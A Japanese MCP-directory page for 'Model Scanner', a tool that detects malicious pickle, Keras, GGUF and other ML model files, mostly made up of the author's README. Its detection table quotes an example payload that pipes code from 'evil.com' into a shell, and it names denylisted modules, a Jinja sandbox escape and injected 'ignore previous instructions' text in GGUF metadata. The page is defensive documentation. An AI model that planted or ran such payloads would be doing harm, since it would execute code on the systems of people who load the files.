プロトタイプ · プレビュー版:公式レジストリのすべてのサーバーを掲載し、30分ごとに同期しています。レビューとアカウント機能は今後のステップで始まります。
PopNx MCPAIを使う人のためのMCPサーバー · やさしい言葉で解説

Model Scanner

作者:GuardBeeバージョン 0.1.2i★ –iパソコンで動く
レジストリ名io.github.4hmetuyar/model-scanner

インストール

概要

作者による説明(英語の原文)

Scans ML model files (PyTorch, safetensors, Keras, ONNX) for supply-chain risks

PopNx MCPの3つの柱

この3つを1つのスコアにまとめることはしません。意見、測定、人気はそれぞれ別のものだからです。

できること

このサーバーのやさしい解説はまだ書いていません。以下はレジストリから読み取った事実です。

  • 接続方法: パソコンで動く
  • トランスポート: stdio
  • カテゴリ: その他

インストール

使っているAIアプリを選んで、設定をコピーしてください。

インストールの前に

  • 基本チェック:1項目中0項目に合格
  • あなたのパソコンで、あなたのユーザーと同じ権限(ファイル、ネットワーク、アプリ)で動きます。
  • レジストリには、入力が必要なキーは載っていません。

必要なもの

  • npmNode.jsのインストール(npxコマンドに必要)

どのアプリを使っていますか?

上でアプリを選んでください。選んだアプリを覚えておくので、次からはボタンに「…にインストール」と表示されます。

Claude Desktop → Settings → Developer → Edit Config を開き、claude_desktop_config.json にこれを貼り付けます

{
  "mcpServers": {
    "model-scanner": {
      "command": "npx",
      "args": [
        "-y",
        "@guardbee/mcp-model-scanner"
      ]
    }
  }
}

ターミナルでこれを実行します

claude mcp add model-scanner -- npx -y @guardbee/mcp-model-scanner

Cursorで開く

または、設定を自分でコピーする

プロジェクトの .cursor/mcp.json、または ~/.cursor/mcp.json に貼り付けます

{
  "mcpServers": {
    "model-scanner": {
      "command": "npx",
      "args": [
        "-y",
        "@guardbee/mcp-model-scanner"
      ]
    }
  }
}

ブラウザがアプリを開いてよいか確認し、そのあとアプリが設定を表示して確認を求めます。キーの値は空欄のままなので、自分で入力してください。

VS Codeで開く

または、設定を自分でコピーする

プロジェクトの .vscode/mcp.json に貼り付けます

{
  "servers": {
    "model-scanner": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "@guardbee/mcp-model-scanner"
      ]
    }
  }
}

ブラウザがアプリを開いてよいか確認し、そのあとアプリが設定を表示して確認を求めます。キーの値は空欄のままなので、自分で入力してください。

これはパソコンで動くサーバーですが、ChatGPTがつなげるのはインターネット上のサーバーだけです。ほかのアプリを選んでください。

選んだアプリは、この端末のCookieに保存されます。アカウントは不要です。

この設定は、作者のレジストリ登録情報から作成しています。READMEと違う場合は、READMEに従ってください。

できること

パソコンで動くサーバーです。インストールすると、ツール一覧がAIアプリに表示されます。

基本チェックi

誰でも見られる情報をチェックしており、コードは読んでいません。当てはまらない項目は数に入れていません。 · 2026年11月7日にチェック

  • ! 注意

    作者とリポジトリが一致

    公開者(4hmetuyar)がリポジトリの所有者(GuardBee)ではありません。別の人が登録した可能性があります

  • … 未チェック

    今もメンテナンスされている

    このリポジトリはまだGitHubから読み取っていません

  • … 未チェック

    ライセンスがある

    このリポジトリはまだGitHubから読み取っていません

  • – 対象外

    エンドポイントが応答する

    これはパソコンで動くため、インターネット上のエンドポイントはありません

  • – 対象外

    OAuthでサインイン

    パソコンで動き、代わりにローカルの設定を使います

  • … 未チェック

    ツールの説明に隠れた指示がない

    パソコンで動くサーバーです。ツール一覧を読み取れるのは、インターネット上のエンドポイントがある場合だけです

その他のほかのサーバーとの比較i

  • このカテゴリのほかの32599件のうち0%よりスターが多い
  • このカテゴリのほかの32599件のうち51%より最近レジストリに公開
  • 基本チェックの結果が、このカテゴリのほかの32599件のうち30%と同じかそれ以上

レジストリでこのカテゴリにある有効なすべてのサーバーと比較しています。スターは、公開者がリポジトリの所有者である場合だけ数えます。

よくある質問

Model Scannerは安全ですか?

当てはまる基本チェック1項目のうち0項目に合格しました。コードは読んでいません。キーやトークンを追加する前に、サーバーがどんなアクセスを求めているかを確認し、必要な権限だけを持つキーを使ってください。

どんなキーやコードが必要ですか?

レジストリには必須のキーは載っていません。ただし、最初に使うときにサインインを求めるサーバーもあります。

パソコンで動きますか、それともクラウドですか?

あなたのパソコンで動きます。必要なときにAIアプリが起動し、データは作者のサーバーを通りません(サーバー自体がオンラインサービスを呼び出す場合を除きます)。

今もメンテナンスされていますか?

GitHubリポジトリの最終更新は–、最新バージョン(0.1.2)がレジストリに届いたのは39 日前です。

どのアプリで使えますか?

Claude Desktop、Claude Code、Cursor、VS CodeなどのMCP対応アプリで使えます。パソコンにNode.jsも必要です。

代わりに使えるものは?

同じカテゴリには:Spec Driven Development, Remote Desktop Commander, Zendesk

代わりの候補

同じカテゴリで、ほかの作者が作ったサーバー。スターの多い順。

カードの見方:★ GitHubスターi3つの柱:レビュー · チェック · 利用状況i更新=最新バージョンをレジストリに公開した日i

Remote Desktop Commander

作者:desktop-commander

Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.

クラウドで動く★ 211一昨日更新
インストール

Zendesk

作者:pipeworx-io

Zendesk MCP Pack — tickets, users, organizations via OAuth.

パソコンでもクラウドでも今日更新
インストール

作者のREADME

READMEを開く

作者のリポジトリから書かれたとおりにコピーしたものです。PopNx MCPは内容を確認・推奨していません。HTML、画像、スクリプトは取り除いています。リンクはこのサイトの外へ移動します。

@guardbee/mcp-model-scanner

🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch

An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.

Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket — or at a Hugging Face repo directly, pinned to a commit. A .pt/.pth/.pkl/.joblib checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.

Telemetry is off by default. With GUARDBEE_TELEMETRY=1 it sends the server, tool, success, duration and short parameter values such as a file path; longer strings and fields like content, token or password are replaced with a placeholder. See @guardbee/mcp-telemetry.

Claude ──► model-scanner ──► Your model files

│ ├─ .pt / .pth / .ckpt → PyTorch zip container: extract data.pkl, walk the pickle ├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included) ├─ .joblib / .jbl → pickle + the array bytes and nested pickles joblib embeds ├─ .npy / .npz → object arrays (pickled data), pickles disguised as NumPy ├─ .safetensors → header structure + disguised-binary check ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip) ├─ .onnx → external_data path-traversal heuristic ├─ .gguf → header/tensor bounds, chat-template SSTI and injected text ├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python └─ hf://owner/repo@rev → every model file of a Hugging Face repo at one commit


Why pickle is the core of this

Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.

This package implements a from-scratch pickle machine (protocols 0–5) rather than shelling out to Python or using a regex. It walks the opcode stream byte by byte and tracks the stack and memo without calling anything, so a protocol 4+ STACK_GLOBAL resolves to the module and name actually on the stack, including strings fetched back from the memo, as NumPy 2 pickles do. A regex over raw bytes would both miss and misfire constantly.

joblib needs the same machine: joblib.dump writes each NumPy array's raw bytes (or, for object arrays, a whole nested pickle) right after the array's NumpyArrayWrapper. The scanner reads the wrapper's shape and dtype from the stack, skips exactly that many bytes, and checks the nested pickles too.

Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:

  • a denylist of modules with no legitimate reason to appear in a tensor deserialization path (os, subprocess, socket, builtins.eval, ctypes, …) → reported as critical/high
  • an allowlist of the modules real ML frameworks actually reference (numpy, torch, sklearn, collections, …) → silently safe, no noise
  • anything else → reported as medium ("unknown", not "malicious" — for manual review, keeping the false-positive rate low)

For PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.


Features

  • Real pickle parsing — a stack-tracking pickle machine, not a regex, not a Python subprocess call
  • 44 dangerous-global rules across 6 risk categories (code-execution, process-execution, network, filesystem, reflection, deserialization), including dill's code-object and import gadgets
  • PyTorch zip container support (including Zip64) — extracts and scans data.pkl without loading the full checkpoint
  • joblib — walks past embedded arrays to every pickle opcode in the file, nested object-array pickles included; zlib/gzip dumps are decompressed
  • NumPy `.npy`/`.npz` — object arrays (stored as a pickle, loaded with allow_pickle=True) and plain pickles renamed to a NumPy extension
  • `.safetensors` structural validation — malformed/out-of-bounds headers, and detection of a pickle/zip disguised with a .safetensors extension
  • Keras Lambda-layer RCE — in .h5, Keras 3 .keras zips and SavedModel keras_metadata.pb
  • ONNX `external_data` path-traversal heuristic
  • GGUF — header counts, string and array lengths, tensor dimensions, types and data bounds checked against the file; chat templates checked for Jinja sandbox escapes, hidden characters and instructions aimed at the model
  • TensorFlow — SavedModel, frozen GraphDef (.pb/.pbtxt) and TFLite Flex ops that read or write files, call Python or send tensors to a debug URL
  • Hugging Face repos — scan_hf_repo / scan hf://owner/repo@revision resolves the revision to a commit and scans every model file from it
  • Bounded reads everywhere (10MB pickle prefix, 100MB safetensors header cap, 50MB zip-entry cap, GGUF and joblib read through a 4MB window) — safe against decompression bombs and won't OOM on huge model files
  • SARIF 2.1.0 output — CI/CD integration (GitHub Code Scanning, etc.)
  • Config file support via guardbee.yml
  • 82 unit tests with malicious and benign fixtures for every format, plus a false-positive check against popular public models

Quick Start

Claude Desktop / MCP Client
{

"mcpServers": { "guardbee-model-scanner": { "command": "npx", "args": ["-y", "@guardbee/mcp-model-scanner"] } } }

CLI (CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif

A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)

npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e

In repo mode the revision is resolved to a commit sha and every file is read from that commit, so the result describes a fixed snapshot; findings point at hf://owner/repo@sha/path. Files up to 256 MB are downloaded whole. Larger ones are checked from their first 64 MB, plus the last 64 MB for zip containers (the central directory), which holds every header, pickle stream and tensor table the checks read.


MCP Tools

ToolDescription
scan_fileScans a single model file
scan_directoryRecursively scans a directory of model files (a SavedModel through its saved_model.pb)
scan_hf_repoScans every model file of a Hugging Face model repo at a pinned commit
list_patternsLists the dangerous-global catalog by risk category, and the TensorFlow ops checked

What it catches

FormatCheckSeverityExample
pickle / PyTorchReference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commandscritical`os.system('curl evil.com/x \sh')`
pickle / PyTorchbuiltins.eval/exec/compile/__import__, pickle.loads, marshal.loadscriticalrecursive/nested payload, or a direct eval
pickle / PyTorchbuiltins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopenhighexfiltration, SSRF, file read/write
safetensorsHeader starts with a pickle/zip signature instead of a lengthcriticala .pkl renamed to .safetensors
safetensorsTensor data_offsets exceed the actual data sectionhigha parser reading out-of-bounds
safetensorsInvalid/oversized header length, non-JSON headerhighcorrupt or adversarially crafted header
Keras .h5/.keras/SavedModelclass_name: "Lambda" in the model configcriticalmarshalled-function RCE on load
ONNXexternal_data location containing ..highpath traversal to an arbitrary file
dilldill._dill._create_code/_create_function/_eval_reprcriticala function rebuilt from bytecode and called during load
dilldill._dill._import_module/_get_attr/_create_filehandlehighreaching os.system without naming os
joblibany of the pickle rules, in the main stream or a nested object-array pickleas the rulea payload hidden after a real array
NumPyobject dtype; a pickle with a .npy extensionmedium / highnp.load(..., allow_pickle=True) unpickles it
GGUFchat template reaching Python internals (__class__, __globals__, …)criticalJinja sandbox escape (CVE-2024-34359)
GGUFhidden Unicode or "ignore previous instructions"-style text in metadatahighinstructions injected into every conversation
GGUFcounts, lengths, dimensions or tensor bounds inconsistent with the filehighheap overflow in an unpatched loader
TensorFlowWriteFile / ReadFile / PyFunc / file datasets / PrintV2 to file://critical–mediuma graph that touches the serving host

Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.

Rule IDs added in 0.4
Rule IDSeverity
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_*critical / high
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognizedlow / medium
numpy_object_arraymedium
numpy_disguised_picklehigh
numpy_bad_header, numpy_npz_unreadablemedium
numpy_npz_entry_unreadable, numpy_npz_partial_scanlow
gguf_chat_template_ssticritical
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magichigh
gguf_duplicate_tensor, gguf_tensor_misalignedmedium

| gguf_chat_template_url, gguf_unknown_tensor_type, `gguf_not_pa

冒頭だけを表示しています。続きはリポジトリで読めます

PopNxに聞く